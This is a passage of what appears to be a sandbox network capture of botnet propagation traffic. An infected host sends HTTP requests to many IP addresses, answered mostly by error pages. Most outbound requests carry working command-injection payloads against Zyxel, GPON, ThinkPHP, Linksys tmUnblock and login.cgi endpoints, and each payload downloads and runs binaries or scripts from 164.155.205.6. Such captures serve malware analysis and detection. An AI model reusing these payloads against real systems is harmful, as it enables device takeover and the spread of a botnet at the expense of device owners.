Mar 2, 2024 12:38:31.256108046 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:31.656713009 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:32.069075108 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:32.469017029 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Mar 2, 2024 12:38:32.869398117 CET	520	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 11:38:28 GMT Server: Apache/2.2.16 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 243 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$

Session ID	Source IP	Source Port	Destination IP	Destination Port
1536	192.168.2.23	37090	178.62.218.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.462491035 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:29.464025021 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:30.647910118 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1537	192.168.2.23	53586	212.70.137.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:28.569777012 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:28.772620916 CET	411	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 13:09:48 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1538	192.168.2.23	43436	154.3.32.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:29.068440914 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:29.988451958 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:30.287370920 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1539	192.168.2.23	57420	71.183.210.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:29.623256922 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:29.911726952 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:30.004358053 CET	496	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:29 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 289 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 31 2e 32 31 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at 192.168.1.219 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1540	192.168.2.23	33628	44.197.44.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:29.623262882 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:29.914988995 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:30.008419991 CET	292	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:29 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1541	192.168.2.23	55204	95.110.223.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:29.835447073 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:30.871833086 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:32.087620974 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:34.519377947 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:39.382625103 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:49.109277964 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1542	192.168.2.23	56068	172.67.215.88	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.130054951 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1543	192.168.2.23	43974	95.59.176.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.280302048 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:30.601620913 CET	29	IN	HTTP/1.1 200 OK
Mar 2, 2024 12:38:30.601689100 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
1544	192.168.2.23	56614	18.140.104.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:30.429058075 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:30.777520895 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:30 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1545	192.168.2.23	45822	24.104.192.10	7547

Timestamp	Bytes transferred	Direction	Data
